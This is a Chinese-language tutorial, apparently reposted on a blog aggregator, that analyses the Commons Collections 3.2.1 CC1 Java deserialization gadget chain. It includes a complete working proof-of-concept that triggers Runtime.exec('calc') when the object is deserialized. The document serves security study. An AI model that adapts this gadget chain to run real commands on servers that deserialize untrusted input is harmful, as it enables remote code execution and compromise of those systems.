Java反序列化漏洞-CC1利用链分析

这篇具有很好参考价值的文章主要介绍了Java反序列化漏洞-CC1利用链分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录
  • 一、前置知识
    • 1. 反射
    • 2. Commons Collections是什么
    • 3. 环境准备
  • 二、分析利用链
    • 1. Transformer
    • 2. InvokeTransformer
      • 执行命令
    • 3. ConstantTransformer
    • 4. ChainedTransformer
      • 执行命令
    • 5. TransformedMap
    • 6. AbstractInputCheckedMapDecorator
    • 7. AnnotationInvocationHandler
  • 三、编写POC
    • 1. ChainedTransformer
    • 2. decorate
    • 3. AnnotationInvocationHandler
    • 4. 执行序列化和反序列化操作
  • 四、完整POC代码
  • 五、为什么是Target.class,为什么是"value"
    • 1. 构造方法中的判断
    • 2. readObject中的判断
      • var7 != null
      • var7的值
      • var5和var6的值
      • var3的值
      • 回到var7
      • 回到POC代码
  • 六、利用链

一、前置知识

1. 反射

首先,Java执行系统命令的语句是这样的:

Runtime.getRuntime().exec("calc");

用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的:

//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");

如果上面这些反射代码看不懂,建议补一下反射基础:

黑马Java反射,Java安全-反射

2. Commons Collections是什么

Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构,可以加速最重要的 Java 应用程序的开发。 从那时起,它已成为 Java 中公认的集合处理标准。

Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。

像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

3. 环境准备

本文中漏洞复现环境:

  • commons-collections 3.2.1
  • jdk 1.8.0_65

在pom.xml添加commons-collections依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

在项目结构中指定JDK版本

Java反序列化漏洞-CC1利用链分析

二、分析利用链

这个链分析顺序是从链的最后部分·,即执行命令的逻辑部分开始分析,一直到反序列化的入口点结束。

1. Transformer

Transformer是一个接口,这个接口声明了一个transform函数

Java反序列化漏洞-CC1利用链分析

2. InvokeTransformer

这个类的位置:org.apache.commons.collections.functors.InvokerTransformer

看一下InvokeTransformer的构造方法和tramsform方法,这里吧一些不必要的代码省去了

public class InvokerTransformer implements Transformer, Serializable {
    //构造方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    //实现Transformer接口的tramsform方法
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }

构造方法:InvokerTransformer(方法名,形参列表,实参列表)

tramsform方法:

  1. 调用接收到的对象的getClass方法,获取他的类对象
  2. 用getMethod方法获取cls类对象的iMethodName方法
  3. 用invoke方法执行input对象的iMethodName方法,参数是iArgs

也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)

执行命令

用 InvokeTransformer 来弹个计算器试试

package com.zzy.ApacheCC1;

import org.apache.commons.collections.functors.InvokerTransformer;

public class Blog {
    public static void main(String[] args) {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

上面这段代码相当于执行了这些东西:

Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");

如何不直接调用transform方法,让程序自动调用transform方法来命令执行呢?请先看下面这几个类。

3. ConstantTransformer

ConstantTransformer的构造方法把传过来的值赋给iConstant

然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么,很没意思的一个方法是吧。

关键代码:

public class ConstantTransformer implements Transformer, Serializable {
    public ConstantTransformer(Object constantToReturn) {
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
    	return iConstant;
	}
}

然后我们先看下一个类

4. ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    public ChainedTransformer(Transformer[] transformers) {
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
}

ChainedTransformer的构造方法接收一个Transformer类型的数组

然后ChainedTransformer的transform方法遍历transformers数组,依次执行每个Tramsformr的transform方法,

给transform方法一个初始值,然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行

听起来是不是有点绕,在脑子里过几遍,然后再实际调试一下,这样就差不多能看懂了。

执行命令

我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行

Transformer[] transformers = {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);

由于Runtime类没有实现Serializable接口,无法进行序列化,但是Class类实现了Serializable接口。

所以这里再改进一下代码,用Runtime.class命令执行

ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")

Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);

上面这些代码相当于执行了这些操作:

Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");

成功执行命令

Java反序列化漏洞-CC1利用链分析

这里可以自动调用InvokerTransformer的transform了,但是又多出来个ChainedTransformer的transform,现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。

5. TransformedMap

类位置:org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

	public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

	protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }
}

静态decorate方法可以调用TransformedMap的构造方法,返回一个TransformedMap实例。

TransformedMap的checkSetValue方法调用了transform方法,valueTransformer的值可以通过构造方法的第三个参数获得。

但是checkSetValue方法修饰符是protected,无法直接调用它,我们接着寻找一个可以调用checkSetValue方法的类。

6. AbstractInputCheckedMapDecorator

它是TransformedMap的父类

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {        
	protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
	}

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法,但是setValue方法依然不能直接调用,接着寻找能调用setValue方法的类吧。

7. AnnotationInvocationHandler

这个类的主要作用是为注解处理器提供代理对象,以便在运行时动态地处理注解。

这个类的位置:sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

这个类的readObject方法调用了var5的setValue方法,readObject正好是反序列化的入口点,终于快结束了。

var5是怎么来的呢?

AnnotationInvocationHandler构造方法的第三个参数var2赋给了memberValues

Java反序列化漏洞-CC1利用链分析

在readObject中最后赋给了var5

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

next方法位置:AbstractInputCheckedMapDecorator.EntrySetIterator#next

在这里 next()方法用于迭代原始映射中的键值对,并将其转换为MapEntry类型。在这个方法中,首先通过调用迭代器的next()方法来获取下一个元素,并将其强制转换为Map.Entry类型。然后,使用获取到的键值对和父对象作为参数,创建一个新的MapEntry对象,并将其作为方法的返回值。

Java反序列化漏洞-CC1利用链分析

返回一个MapEntry对象,那个AnnotationInvocationHandler的var5就是MapEntry对象,最后调用了MapEntry的SetValue方法。

执行MapEntry的SetValue方法又会调用checkSetValue方法

Java反序列化漏洞-CC1利用链分析

checkSetValue调用ChainedTransformer的transform方法,进而达到命令执行的效果

Java反序列化漏洞-CC1利用链分析

到此,利用链构造完毕,我们将编写完整的POC

三、编写POC

1. ChainedTransformer

这一步无需多言,跟在ChainedTransformer那里讲的一样,最后获得一个ChainedTransformer对象

ConstantTransformer ct = new ConstantTransformer(Runtime.class);

String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

Transformer[] transformers = {ct, it1, it2, it3};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2. decorate

新建一个HashMap对象,他的键(Key)的名称为value,至于为什么是value在本文章第五节会分析

TransformedMap.decorate返回一个TransformedMap实例,

实例的valueTransformer的值就是chainedTransformer

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

3. AnnotationInvocationHandler

用反射方法新建AnnotationInvocationHandler对象,用构造方法把上一步的TransformedMap实例传进来

构造方法传的参数为什么是 Target.class 在本文章第五节会分析

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object poc = annoConstructor.newInstance(Target.class, decorated);

4. 执行序列化和反序列化操作

反序列化时触发readObject,进而触发setValue,setValue时触发checkSetValue,checkSetValue返回的时候执行transform方法,最终进行命令执行

这里使用自己建立的序列化和反序列化方法,来模拟真实环境的反序列化。

serial(poc);
unserial();

这是序列化和反序列化的方法,不懂的话可以看 菜鸟教程 Java 序列化

public static void serial(Object obj) throws IOException {
    ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
    out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
    in.readObject();
}

四、完整POC代码

package com.test.ApacheCC1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Blog {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "");
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated);
		/*
		AnnotationInvocationHandler
		*/
        
        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc1.bin"));
        in.readObject();
    }
}

成功执行命令

Java反序列化漏洞-CC1利用链分析

五、为什么是Target.class,为什么是"value"

1. 构造方法中的判断

通过构造方法给AnnotationInvocationHandler的var1赋值为Target.class

然后把var1赋值给了this.type (记住这个变量)

把var2赋值给了this.memberValues

Java反序列化漏洞-CC1利用链分析

获取var1所有的接口

Class[] var3 = var1.getInterfaces();

然后if语句里面有三个条件,满足这三个条件才能给 memberValues 赋值,才能在readObject时触发利用链

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)
  • var1.isAnnotation() => 检查var1是否是一个注解
  • var3.length == 1 => 检查var1的接口数量是否为1
  • var3[0] == Annotation.class => 检查这个唯一的接口是否是Annotation.class

通过调试可以看到,var3[0]即Target.class.getInterfaces()[0]的值就是Annotation类对象,即 Annotation.class

Java反序列化漏洞-CC1利用链分析

所以构造方法应该传入一个注解类型的类对象。

2. readObject中的判断

var7 != null

AnnotationInvocationHandler的readObject里面有一个判断,var7不为空才继续执行下面的代码

Java反序列化漏洞-CC1利用链分析

var7的值

var7怎么来的呢?看代码:

var2 = AnnotationType.getInstance(this.type)
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

之前分析AnnotationInvocationHandler的时候知道

var5和var6的值

var5的值就是decorate传进来的那个键值对

Java反序列化漏洞-CC1利用链分析

var6的值就是var5的key,即 "value"

var7的值通过var3得到

var3的值

var3则是 AnnotationType.getInstance(this.type).memberTypes()

Target.class:

Java反序列化漏洞-CC1利用链分析

可以看到Target只有一个名为value的成员类型

var3 包含了Target注解中定义的所有成员类型的键值对,通过调试可以看到结构是这样的:

Java反序列化漏洞-CC1利用链分析

其中,键是成员名称(String类型),值是成员的类型(Class类型)

回到var7

给var7赋值的代码是

Class var7 = (Class)var3.get(var6);

根据CC利用链学习的解释var3 是HashMap类型的,那么执行的就是HashMap的get方法

根据菜鸟教程对get方法的解释,get方法就是获取指定key的value

Java反序列化漏洞-CC1利用链分析

具体到上面这段代码就是这样

Class var7 = (Class)var3.get("value");

也就是获取到Target.class的value的类型,这里是ElementType

Java反序列化漏洞-CC1利用链分析

回到POC代码

HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
Map decorated = TransformedMap.decorate(map, null, chainedTransformer);

如果这里map.put传入的 key ,在Target.class中没有对应的成员名称的话,var3就找不到var6,那么var7就为null,就无法执行下面的setValue了。

六、利用链

这里模仿 ysoserial 描述的利用链写出CC1的TransformedMap利用链

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            MapEntry.setValue()
                MapEntry.checkSetValue()
                    TransformedMap.transform()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

感谢安全研究员 Innocent.. 的指导
参考文章和视频
讯飞星火
java-CC链1分析
白日梦组长 CC1链手写EXP文章来源地址https://www.toymoban.com/news/detail-760078.html

到了这里,关于Java反序列化漏洞-CC1利用链分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • WebLogic反序列化漏洞复现+利用工具(CVE-2021-2394)

    Oracle官方发布了2021年7月份安全更新通告,通告中披露了WebLogic组件存在高危漏洞,攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。 这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的

    2024年02月06日
    浏览(83)
  • CTF-PHP反序列化漏洞2-利用魔法函数

    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半

    2024年02月05日
    浏览(27)
  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶场+工具利用

    将java对象转换为字节序列(json/xml)的过程叫序列化,将字节序列(json/xml)恢复为java对象的过程称为反序列化。 Shiro框架提供了“记住我”的功能,用户登陆成功后会生成经过加密并编码的cookie,cookie的key为RememberMe,cookie的值是经过序列化的,使用AES加密,再使用base64编码

    2024年02月16日
    浏览(31)
  • Shiro反序列化漏洞综合利用工具Shiro Attack使用教程

    目录 漏洞扫描 利用链检测 执行命令 注入蚁剑内存马 将目标网站输入在目标地址栏中吗,点击爆破密钥,如果发现key,则可以利用

    2024年02月13日
    浏览(27)
  • XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析过程做个笔记,从前期JAVA的代理模式动态代理基础知识到XStream解析流程都有记录。 代理是设计模式中的一种,代理类为委托类提供消息预处理、消息转发、事后消息处理等功能,JAVA中代理分为三种角色:代理类、委托类、接口。 以上的定

    2024年02月13日
    浏览(32)
  • 关于php----phar伪协议和phar文件反序列化漏洞利用

    Secarma的安全研究员Sam Thomas发现了php里一种新的反序列化漏洞,这种漏洞的利用可以避开传统的php反序列化漏洞的查找,旧漏洞莫非寻找反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和使用phar://伪协议完成反序列化漏洞。新发现的漏洞通过创建phar文件,以及配合

    2024年02月05日
    浏览(26)
  • 【shiro】shiro反序列化漏洞综合利用工具v2.2(下载、安装、使用)

    shiro反序列化漏洞综合利用工具v2.2下载: 链接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取码:zbgp 其他工具下载: 除了该工具之外,github上还有其他大佬贡献的各种工具,有许多python编写的工具,功能简单,可以作为理解shiro漏洞原理并编写自己工具的教材。 说明 :

    2023年04月08日
    浏览(37)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(41)
  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(37)
  • 网络安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过 toJSONString 和 parseObject/parse 来实现序列化和反序列化。 使用 对于序列化的方法 toJSONString() 有多个重载形式。 SerializeFeature : 通过设置

    2024年02月08日
    浏览(30)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包